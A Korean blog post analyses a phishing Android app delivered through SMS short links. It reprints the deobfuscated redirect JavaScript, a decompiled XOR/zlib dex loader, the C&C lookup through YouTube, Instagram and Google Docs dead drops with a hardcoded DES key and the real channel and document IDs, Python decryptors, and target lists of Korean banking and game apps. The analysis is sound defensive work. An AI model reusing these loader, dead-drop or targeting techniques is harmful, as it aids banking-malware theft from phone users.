악성(피싱) 앱 분석기

- 분석은 예전에 했는데 시간이 바쁘다는 핑계로 글은 이제서야 쓰게 되었습니다. T.T 
- 악성코드를 주로 다루지 않다보니 잘못된 부분이 있을 수 있습니다. 해당 부분에 대해 알려주시면 감사하겠습니다.

# 발단

최근 들어 피싱 문자가 많이 늘어난게 보인다. 지인에게 short url 서비스로 보내진 주소를 공유받아 접속해보았다.

처음 부터 흥미를 자극하는 난독화된 JS 코드가 보인다.
...
코드 마지막 부분에 보면 함수 호출`()`로 끝난다. 실제 로직이 포함된 코드를 실행하기 위해 마지막에 함수 호출을 할테니 해당 부분을 빼고 콘솔에서 실행해보았다.

```javascript
(function anonymous(
) {
var rNsMwWzBiNaSuYcTeJbHfLvZlTaRjBaMoZkUfOsFqMcGkCtRjUsKuSwHrYwVgXaSkUhKjPnFkPvDoMlQkTwJbAyDuZvV = {
			yCdZwGrUaDePkOsWuVyCuEpSdNfQsWaEjFeCgRaLkIt: function () {
				var u = navigator.userAgent, app = navigator.appVersion;
				return {
					uQnJaNmSpFjMeVbT: u.indexOf('Trident') > -1, 
					lWtPeOsDbQnQbFiLdFpNfPaLxAzFeKvZyQzRcMlWnEpS: u.indexOf('Presto') > -1,
					gPxUjAsWuQnQuEaLkHyPoFjNuXpOyBhWjTdVfQbDoNyUfPgRjUwHzJiXaFeDnFwVfDpAzTyD: u.indexOf('AppleWebKit') > -1, 
					nQzDtOzQiMiLpLpMdSwOyPhFxIeJnYiEwGrCfLjNfVgKuFiLrJuLvFqIsCuLkCfWlDcLrXvBuMsYjB: u.indexOf('Gecko') > -1 && u.indexOf('KHTML') == -1, 
					tPfByJePhLvYvFcGwMqCnJaEpZjNeBfJzRcMxTkCuLvSkUfIgRjUpHzQdNePhSoFlWuLrQoNgFkFdNyLnSqWoUgXhV: !!u.match(/AppleWebKit.*Mobile.*/), 
					yXmBfWoLcFjNqUwTsIsOsJgMdNyJmPhYxPsJuFdVfWhLwYjUsWgKiAlUtLdUxPaRjMrEkImYeDuLkVtZpVuAmDx: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), 
					lBjNdGqIgKgJnRvXwFpMwZdGfQtDoZkTsJvMwArJaKcGkBlWuMxZkVg: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1, 
					tXmBxBsWnYcFvZiMsHsOrJmQaPtDaCnYxHkCnQiLcNyMpAlVzJnEpHkNtRjBlVgXwGfDjIgYeCuSqIaYe: u.indexOf('iPhone') > -1, 
					pMtQmXbEeBxImIsWv: u.indexOf('iPad') > -1, 
				};
			}(),
			language: (navigator.rNsMwWzBiNaSuYcTeJbHfLvZlTaRjBaMoZkUfOsFqMcGkCtRjUsKuSwHrYwVgXaSkUhKjPnFkPvDoMlQkTwJbAyDuZvVLanguage || navigator.language).toLowerCase()
		};

		if (rNsMwWzBiNaSuYcTeJbHfLvZlTaRjBaMoZkUfOsFqMcGkCtRjUsKuSwHrYwVgXaSkUhKjPnFkPvDoMlQkTwJbAyDuZvV.yCdZwGrUaDePkOsWuVyCuEpSdNfQsWaEjFeCgRaLkIt.yXmBfWoLcFjNqUwTsIsOsJgMdNyJmPhYxPsJuFdVfWhLwYjUsWgKiAlUtLdUxPaRjMrEkImYeDuLkVtZpVuAmDx || rNsMwWzBiNaSuYcTeJbHfLvZlTaRjBaMoZkUfOsFqMcGkCtRjUsKuSwHrYwVgXaSkUhKjPnFkPvDoMlQkTwJbAyDuZvV.yCdZwGrUaDePkOsWuVyCuEpSdNfQsWaEjFeCgRaLkIt.tXmBxBsWnYcFvZiMsHsOrJmQaPtDaCnYxHkCnQiLcNyMpAlVzJnEpHkNtRjBlVgXwGfDjIgYeCuSqIaYe || rNsMwWzBiNaSuYcTeJbHfLvZlTaRjBaMoZkUfOsFqMcGkCtRjUsKuSwHrYwVgXaSkUhKjPnFkPvDoMlQkTwJbAyDuZvV.yCdZwGrUaDePkOsWuVyCuEpSdNfQsWaEjFeCgRaLkIt.pMtQmXbEeBxImIsWv) {
			$.ajax({
				url: "apple.txt",
				success: function(data) {
					window.alert(data);
				},
			
			});
			$.ajax({
				url: "appleurl.txt",
				success: function(data) {
					window.location.href =data;
				},
			
			});
		} else if (rNsMwWzBiNaSuYcTeJbHfLvZlTaRjBaMoZkUfOsFqMcGkCtRjUsKuSwHrYwVgXaSkUhKjPnFkPvDoMlQkTwJbAyDuZvV.yCdZwGrUaDePkOsWuVyCuEpSdNfQsWaEjFeCgRaLkIt.lBjNdGqIgKgJnRvXwFpMwZdGfQtDoZkTsJvMwArJaKcGkBlWuMxZkVg) {
			$.ajax({
				url: "anzhuo.txt",
				success: function(data) {
					window.alert(data);
				},
				
			});
			$.ajax({
				url: "anzhuourl.txt",
				success: function(data) {
					window.location.href =data;
				},
			
			});

		}else{
		}
})
```

코드의 실제 로직이 나왔다. 내용은 사용자의 `UserAgent`를 확인해서 안드로이드/아이폰 사용자에게 각각의 앱으로 연결시키는 코드였다.

접근하면 동적으로 앱을 생성해서 뿌려주었다 !! 파일 해시로 확인하는 백신을 우회할 목적인듯 보였다. 그 중 안드로이드 앱 하나를 받아서 분석을 시작해보았다.

# 전개

jadx를 이용해 해당 앱 분석을 시작해보았다.

## 앱 권한
과도하게 많은 권한을 요구한다. 대충 봐도 Profile, SMS, Network, Storage 등을 요구하는 것을 알 수 있다.

## 정적 코드 분석

함수 오버로딩으로 눈으로 보기 힘들게 되어있지만, 그리 많은 양이 아니라 정적으로 분석해보았다.  
주요 로직은 아래와 같다.

```java
    private void a() {
        File b2 = b();
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        b(byteArrayOutputStream);
        a(b2.getPath(), a(byteArrayOutputStream));
        new File(getFilesDir().getAbsolutePath() + "/m").mkdirs();
        a(b2);
    }
...
    private void b(ByteArrayOutputStream byteArrayOutputStream) {
        AssetManager assets = getAssets();
        StringBuilder sb = new StringBuilder();
        sb.append(("ncudxqkqwzfzuficpssiuxlehkgzgvhrrgqqiwfw".toLowerCase() + "/").toLowerCase());
        sb.append(getAssets().list("ncudxqkqwzfzuficpssiuxlehkgzgvhrrgqqiwfw")[0]);
        InputStream open = assets.open(sb.toString());
        open.skip(4);
        int read = open.read();
        ByteArrayOutputStream byteArrayOutputStream2 = new ByteArrayOutputStream();
        byte[] bArr = new byte[1024];
        while (true) {
            int read2 = open.read(bArr);
            if (read2 == -1) {
                a(byteArrayOutputStream, byteArrayOutputStream2, bArr);
                return;
            }
            for (int i = 0; i < read2; i++) {
                bArr[i] = (byte) (bArr[i] ^ read);
            }
            byteArrayOutputStream2.write(bArr, 0, read2);
        }
    }
...
    private void a(ByteArrayOutputStream byteArrayOutputStream, ByteArrayOutputStream byteArrayOutputStream2, byte[] bArr) {
        InflaterInputStream inflaterInputStream = new InflaterInputStream(new ByteArrayInputStream(byteArrayOutputStream2.toByteArray()));
        while (true) {
            int read = inflaterInputStream.read(bArr);
            if (read == -1) {
                inflaterInputStream.close();
                return;
            }
            byteArrayOutputStream.write(bArr, 0, read);
        }
    }
```

앱 내에 저장된 assets의 파일을 열어 xor 연산을 통해 새로운 파일을 생성한다.

```python
import zlib, base64

data = open('14ia67p', 'rb').read()

data = data[4:] # skip
key  = data[0]  # key
data = data[1:] # key pass

ret = bytearray()
for i in data:
	ret += bytes([i ^ key])

ret = base64.b64decode(zlib.decompress(ret))
with open('dex', 'wb') as f:
    f.write(ret)
```

파이썬으로 포팅한 코드는 위와 같다. 파일의 앞 4바이트를 자르고, 1바이트를 키로 지정하고 나머지 바이트들을 xor로 연산한다. 

```java
    private void a(File file) {
        String absolutePath = file.getAbsolutePath();
        String str = getFilesDir().getAbsolutePath() + "/m";
        a(this, absolutePath, str, (Object) a(absolutePath, str, (ClassLoader) null));
    }
...
    private static void a(bbApplication bbapplication) {
        Class cls = bbapplication.b;
        bbapplication.a = cls.getMethod("pCrea".toLowerCase().substring(1) + "Bte".substring(1), new Class[0]).invoke((Object) null, new Object[0]);
    }

    private static void a(bbApplication bbapplication, Object obj, String str) {
        bbapplication.b = a(obj, str);
        a(bbapplication);
    }

    static void a(bbApplication bbapplication, String str, String str2, Object obj) {
        try {
            a(bbapplication, obj, c());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
...
    private static String c() { // Com.Loader
        return ComponentName.class.getSimpleName().toLowerCase().substring(0, 3) + "." + ClassLoader.class.getSimpleName().substring(5);
    }
```
이 후 해당 파일 `Com.Loader` 클래스를 로드한다.

# 위기

생성된 파일의 시그니처를 확인해보니 dex파일이였다. jadx로 다시 한번 로드해보았다.

## Global Service ?

```java
    public static final String b(int i2) {
        String locale = Locale.getDefault().toString();
        if (!h.a((Object) C, (Object) "")) {
            locale = C;
        }
        h.a((Object) locale, "locale");
        try {
            return ((m.a(locale, "zh_HK", false, 2, (Object) null) || m.a(locale, "zh_TW", false, 2, (Object) null)) ? f553d : (m.a(locale, "ko", false, 2, (Object) null) || m.a(locale, "zh_CN", false, 2, (Object) null)) ? f552c : m.a(locale, "ja", false, 2, (Object) null) ? f : m.a(locale, "ar", false, 2, (Object) null) ? g : m.a(locale, "bg", false, 2, (Object) null) ? h : m.a(locale, "pl", false, 2, (Object) null) ? i : m.a(locale, "de", false, 2, (Object) null) ? j : m.a(locale, "ru", false, 2, (Object) null) ? k : m.a(locale, "tl", false, 2, (Object) null) ? l : m.a(locale, "ka", false, 2, (Object) null) ? m : m.a(locale, "cs", false, 2, (Object) null) ? n : m.a(locale, "ms", false, 2, (Object) null) ? o : m.a(locale, "bn", false, 2, (Object) null) ? p : m.a(locale, "pt", false, 2, (Object) null) ? q : m.a(locale, "sh", false, 2, (Object) null) ? r : m.a(locale, "th", false, 2, (Object) null) ? s : m.a(locale, "tr", false, 2, (Object) null) ? t : m.a(locale, "uk", false, 2, (Object) null) ? u : m.a(locale, "es", false, 2, (Object) null) ? v : m.a(locale, "he", false, 2, (Object) null) ? w : m.a(locale, "hy", false, 2, (Object) null) ? x : m.a(locale, "it", false, 2, (Object) null) ? y : m.a(locale, "hi", false, 2, (Object) null) ? z : m.a(locale, "id", false, 2, (Object) null) ? A : m.a(locale, "vi", false, 2, (Object) null) ? B : e)[i2];
        } catch (Exception unused) {
            return "";
        }
    }
```

사용자의 언어 셋을 맞춤(?)으로 피싱하는 것을 확인할 수 있다.
## Connect C&C
Loader 쪽 코드 보면 특정 서버에 연결하는 로직을 찾아볼 수 있다.  
주변 코드를 살펴봐도 연결하는 주소를 직접적으로 찾을 순 없었다.

그래서 연결하는 코드 부분을 자세히 살펴보았다.

```java
    String string = Loader.access$getPreferences$p(this.f349a).getString("addr_accounts", this.f349a.getDefaultAccounts());
    d.e.b.h.a((Object) string, "addrAccountsStr");
    List a2 = d.i.m.a((CharSequence) string, new char[]{'|'}, false, 0, 6, (Object) null);
    String locale = Locale.getDefault().toString();
    d.e.b.h.a((Object) locale, "locale");
    if (d.i.m.a(locale, "ko", false, 2, (Object) null)) {
        access$getPreferences$p = Loader.access$getPreferences$p(this.f349a);
        str = "account";
        obj = a2.get(1);
    } else if (d.i.m.a(locale, "ja", false, 2, (Object) null)) {
        access$getPreferences$p = Loader.access$getPreferences$p(this.f349a);
        str = "account";
        obj = a2.get(2);
    } else {
        access$getPreferences$p = Loader.access$getPreferences$p(this.f349a);
        str = "account";
        obj = a2.get(3);
    }
    String string2 = access$getPreferences$p.getString(str, (String) obj);
    if (d.e.b.h.a((Object) string2, (Object) "unknown")) {
        throw new IllegalStateException("null......");
    }
...
    public final String getDefaultAccounts() {
        return this.n; 
        // private final String n = "chrome|UCP5sKzxDLR5yhO1IB4EqeEg@youtube|yun015515980545@ins|1s0n64k12_r9MglT5m9lr63M5F3e-xRyaMeYP7rdOTrA@GoogleDoc2";
    }
```

특정 문자열이 담긴 변수를 `|`를 기준으로 각각의 리스트를 만들고 아래 함수를 호출하는 것을 확인할 수 있다.

```java
    public static final String h(String str) {
        h.b(str, "acc");
        List a2 = m.a((CharSequence) str, new char[]{'@'}, false, 0, 6, (Object) null);
        if (h.a((Object) (String) a2.get(1), (Object) "vk")) {
            return a((String) a2.get(0));
        }
        if (h.a((Object) (String) a2.get(1), (Object) "youtube")) {
            return b((String) a2.get(0));
        }
        if (h.a((Object) (String) a2.get(1), (Object) "ins")) {
            return c((String) a2.get(0));
        }
        if (h.a((Object) (String) a2.get(1), (Object) "GoogleDoc")) {
            return d((String) a2.get(0));
        }
        if (h.a((Object) (String) a2.get(1), (Object) "GoogleDoc2")) {
            return e((String) a2.get(0));
        }
        if (h.a((Object) (String) a2.get(1), (Object) "blogger")) {
            return f((String) a2.get(0));
        }
        if (h.a((Object) (String) a2.get(1), (Object) "blogspot")) {
            return g((String) a2.get(0));
        }
        return null;
    }
```

인자의 문자열을 `@`로 나누어 앞 문자열을 가지고 특정 함수로 접근한다.  
각각의 함수를 확인해보면 특정 인터넷 서비스에 접근해 특정 문자열을 파싱한 후 복호화하는 것을 확인할 수 있다.

그 중 하나인 유튜브를 예시로 들면 아래와 같이 인자로 들어오는 문자열의 채널에 접근해 특정 문자열을 파싱해서 가져온다.

```java
public static final java.lang.String b(java.lang.String r4) {
    java.lang.String r0 = "acc"
    d.e.b.h.b(r4, r0)
    d.e.b.m r0 = d.e.b.m.f587a
    java.lang.String r0 = "https://m.youtube.com/channel/%s/about"
...
    java.lang.String r3 = "oeewe([\\w_-]+?)oeewe"
    java.util.regex.Pattern r3 = java.util.regex.Pattern.compile(r3)     // Catch:{ Exception -> 0x0048 }
    java.lang.CharSequence r4 = (java.lang.CharSequence) r4     // Catch:{ Exception -> 0x0048 }
    java.util.regex.Matcher r4 = r3.matcher(r4)     // Catch:{ Exception -> 0x0048 }
    boolean r3 = r4.find()     // Catch:{ Exception -> 0x0048 }
    if (r3 == 0) goto L_0x0041
    java.lang.String r0 = r4.group(r1) 
L_0x0041:
    if (r0 == 0) goto L_0x004c
    java.lang.String r4 = i(r0)     // Catch:{ Exception -> 0x0048 }
    goto L_0x004d
```

그리고 특정 함수로 들어가 복호화 과정을 거친다.

```java
    public static final String i(String str) {
        h.b(str, "str");
        byte[] decode = Base64.decode(str, 8);
        h.a((Object) decode, "Base64.decode(str, 8)");
        return new String(a(decode, "Ab5d1Q32"), d.f604a);
    }
...
    public static final byte[] a(byte[] bArr, String str) {
        h.b(bArr, "src");
        h.b(str, "paramString");
        SecureRandom secureRandom = new SecureRandom();
        byte[] bytes = str.getBytes(d.f604a);
        h.a((Object) bytes, "(this as java.lang.String).getBytes(charset)");
        SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, "DES");
        Cipher instance = Cipher.getInstance("DES/CBC/PKCS5Padding");
        byte[] bytes2 = str.getBytes(d.f604a);
        h.a((Object) bytes2, "(this as java.lang.String).getBytes(charset)");
        instance.init(2, secretKeySpec, new IvParameterSpec(bytes2), secureRandom);
        byte[] doFinal = instance.doFinal(bArr);
        h.a((Object) doFinal, "cipher.doFinal(src)");
        return doFinal;
    }
```

코드를 보면 "Ab5d1Q32"로 하드코드된 키를 사용하고 있다. 파이썬으로 포팅한 코드는 아래와 같다.  
GoogleDoc2는 다른 로직과 다르게 GoogleDoc2에서 나온 문자열을 가지고 다시한번 GoogleDoc에 접근해서 복호화할 문자열을 구하는 로직을 가지고 있다.

```python
import base64
from pyDes import des, CBC, PAD_PKCS5

key = b'Ab5d1Q32'
def des_decrypt(secret_key, text):
    text = base64.b64decode(text)
    iv = secret_key
    k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5)
    dec = k.decrypt(text, padmode=PAD_PKCS5)
    return dec

if __name__ == '__main__':
    '''
    private final String n = "chrome|UCP5sKzxDLR5yhO1IB4EqeEg@youtube|yun015515980545@ins|1s0n64k12_r9MglT5m9lr63M5F3e-xRyaMeYP7rdOTrA@GoogleDoc2";

    [youtube]
    1) https://m.youtube.com/channel/UCP5sKzxDLR5yhO1IB4EqeEg/about
    2) /oeewe([\\w_-]+?)oeewe/
    => 'aY+8X8lntARzF1wVog2cCkdZpbrrBhZh'

    [google docs2]
    1) https://docs.google.com/document/d/1s0n64k12_r9MglT5m9lr63M5F3e-xRyaMeYP7rdOTrA/mobilebasic
    2) /<title>([\\w_-]+?)</ --> 1IIB6hhf_BB1DaxzC1aNfLEG1K97LsPsN55AT5pFWYKo
    3) https://docs.google.com/document/d/1IIB6hhf_BB1DaxzC1aNfLEG1K97LsPsN55AT5pFWYKo/mobilebasic
    => 'mULIG87qj4vq2exHjmzgiIEosLxmZuXr'

    [instagram]
    1) https://www.instagram.com/yun015515980545/
    2) /biography\":\"([\\w_-]+?)\"/
    => 'FLd6x1SyIHYywzjnHkCPiia3FtWLPFQa'
    '''
    text = b'aY+8X8lntARzF1wVog2cCkdZpbrrBhZh' # youtube
    text = b'mULIG87qj4vq2exHjmzgiIEosLxmZuXr' # googledocs2
    text = b'FLd6x1SyIHYywzjnHkCPiia3FtWLPFQa' # instagram
    print(des_decrypt(key, text))
```

위와 같이 복호화 과정을 통해 나온 주소로 연결한다.

# 절정

연결한 서버와 주고받는 데이터를 확인해보았다.
jsonrpc로 주고받는다.  
메소스들을 찾아보니 아래와 같이 명령어를 처리하는 로직들이 있다.
C&C 서버가 보내는 명령어를 실행하여 다시 C&C로 보낸다.  
대충봐도 스마트폰을 다 털어간다는 느낌이 온다..

```java

public final class d {
    /* access modifiers changed from: private */

    /* renamed from: a  reason: collision with root package name */
    public static final int f484a = 88;
    /* access modifiers changed from: private */

    /* renamed from: b  reason: collision with root package name */
    public static final String f485b = "last_sms_ts";
    /* access modifiers changed from: private */

    /* renamed from: c  reason: collision with root package name */
    public static final String[] f486c = {"com.wooribank.pib.smart", "com.kbstar.kbbank", "com.ibk.neobanking", "com.sc.danb.scbankapp", "com.shinhan.sbanking", "com.hanabank.ebk.channel.android.hananbank", "nh.smart", "com.epost.psf.sdsi", "com.kftc.kjbsmb", "com.smg.spbs"};
    /* access modifiers changed from: private */

    /* renamed from: d  reason: collision with root package name */
    public static final String[] f487d = {"com.webzen.muorigin.google"};
    /* access modifiers changed from: private */
    public static final String[] e = {"com.ncsoft.lineagem19", "com.ncsoft.lineagem"};
    /* access modifiers changed from: private */
    public static final String[] f = {"kr.co.neople.neopleotp"};
    /* access modifiers changed from: private */
    public static final String[] g = {"kr.co.happymoney.android.happymoney"};
    /* access modifiers changed from: private */
    public static final String[] h = {"com.nexon.axe"};
    /* access modifiers changed from: private */
    public static final String[] i = {"com.nexon.nxplay"};
    /* access modifiers changed from: private */
    public static final String[] j = {"com.atsolution.android.uotp2"};
```

추가적으로 한국인을 타겟팅한 피싱 앱이다 보니 국내 은행 앱, 게임 등의 정보도 털어가기 위해(?) 위와 같은 문자열도 포함된 것을 확인할 수 있다.

# 결말

하나 하나 분석해 나가는게 무슨 CTF 문제를 푸는것 같았다. ㅇ.ㅇ  
특별하게 어려운 난독화 기술이나 트릭은 없었지만 몇가지 부분에서는 신박한(?) 부분도 포함되어 있었다.

마지막으로 뉴스나 SNS등을 보면 악성 앱을 통한 피해가 많이 발생하는것 같은데,  
악성 앱으로 부터 피해를 받지 않기 위해 아래 사항들을 최소한으로 지키는게 중요합니다 !

- 특정 경로(문자 등)로 유입된 링크에서 개인 정보를 요구한다면 빠르게 손절해야한다.
- 공식적인 앱스토어에 등록된 앱이 아니라면 설치하지 말아야한다.
- 앱이 요구하는 권한을 확인할 것 !

댓글

댓글 쓰기

이 블로그의 인기 게시물

SSRF to Redis

나의 유용한 맥 앱